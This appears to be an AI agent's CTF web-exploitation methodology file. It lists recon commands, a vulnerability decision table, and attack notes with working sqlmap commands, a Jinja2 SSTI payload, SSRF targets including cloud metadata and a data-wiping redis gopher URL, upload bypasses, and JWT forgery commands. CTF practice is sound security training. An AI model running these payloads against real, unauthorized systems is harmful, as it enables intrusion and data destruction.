ctf-web

CTF web methodology

1. Recon (always)

# Always start with these — in parallel
curl -sI http://target/                                  # headers
run_tool("ffuf", "-w wordlist -u http://target/FUZZ")   # dir bust
run_tool("gobuster", "dir -u http://target -w wordlist")
run_tool("whatweb", "http://target")                     # tech stack
nikto -h http://target                                   # web scanner

Source view:

• view-source: — comments, hidden inputs, JS files
• /robots.txt, /sitemap.xml, /.git/, /.env, /.DS_Store
• wappalyzer / whatweb for stack — frameworks dictate attack class

2. Map the attack surface

For each endpoint:

• Method (GET/POST/PUT/PATCH)
• Parameters (URL, body, headers, cookies)
• Auth requirements
• Reflection points (does input echo back?)
• Storage points (does input persist?)

3. Decision tree by symptom

Symptom	Likely class	Tool
Input echoed in HTML	XSS	manual + XSStrike
Error contains SQL	SQLi	sqlmap (registry)
URL parameter triggers fetch	SSRF	manual + gopherus for protocols
Template syntax {{7*7}} → 49	SSTI	tplmap, manual jinja2/twig payloads
Numeric ID in URL/body	IDOR	manual enum + Burp Repeater
Login form, error tells "user not found" vs "wrong pass"	User enum	manual
File upload	Upload bypass	BurpSuite, manual extension/MIME tricks
Cookie: with base64/JSON	Cookie tampering	manual
Authorization: Bearer eyJ...	JWT	jwt_tool, jwt-cracker
__proto__ or constructor accepted	Prototype pollution	manual JS payloads
Race-prone action (claim, vote)	Race condition	turbo-intruder Burp ext
Java/PHP/Ruby with unsafe deserialize	Deserialization	ysoserial, phpggc

4. Specific attack notes

SQLi

# Boolean-based, time-based, UNION
sqlmap -u "http://target/page?id=1" --batch --level=5 --risk=3 --dbs

# Cookie/header injection
sqlmap -u http://target/ --cookie="session=*" --level=5

# POST data
sqlmap -u http://target/login --data="user=*&pass=*"

SSTI

Identify engine first: {{7*7}} works in Jinja/Twig, ${7*7} in FreeMarker, <%= 7*7 %> in ERB.

Jinja2 RCE: {{ ''.__class__.__mro__[1].__subclasses__() }} — find subprocess/Popen.

SSRF

• Cloud metadata: http://169.254.169.254/latest/meta-data/
• Localhost services: http://127.0.0.1:port/
• Gopher for raw TCP: gopher://localhost:6379/_FLUSHALL for redis
• DNS rebinding for filter bypass

File upload

Try in order: rename extension (.php → .phtml/.php5/.phar), MIME spoofing, double extension (file.jpg.php), null byte (file.php%00.jpg), magic byte prefix, .htaccess upload, polyglot (PHP-in-JPG).

JWT

jwt_tool <token>                          # decode + check
jwt_tool <token> -X a                     # alg=none
jwt_tool <token> -X i                     # weak HMAC
jwt_tool <token> -X k -pk public.pem      # key confusion (RS→HS)
jwt-cracker <token> -d wordlist.txt       # crack HMAC secret

5. Don't waste time on

• DDOS, brute-forcing rate-limited endpoints (CTF won't gate solves on that)
• Server fingerprinting beyond initial whatweb (move on)
• Custom HTTP clients — use curl or Burp Repeater

After solve

Use the writeup-template skill.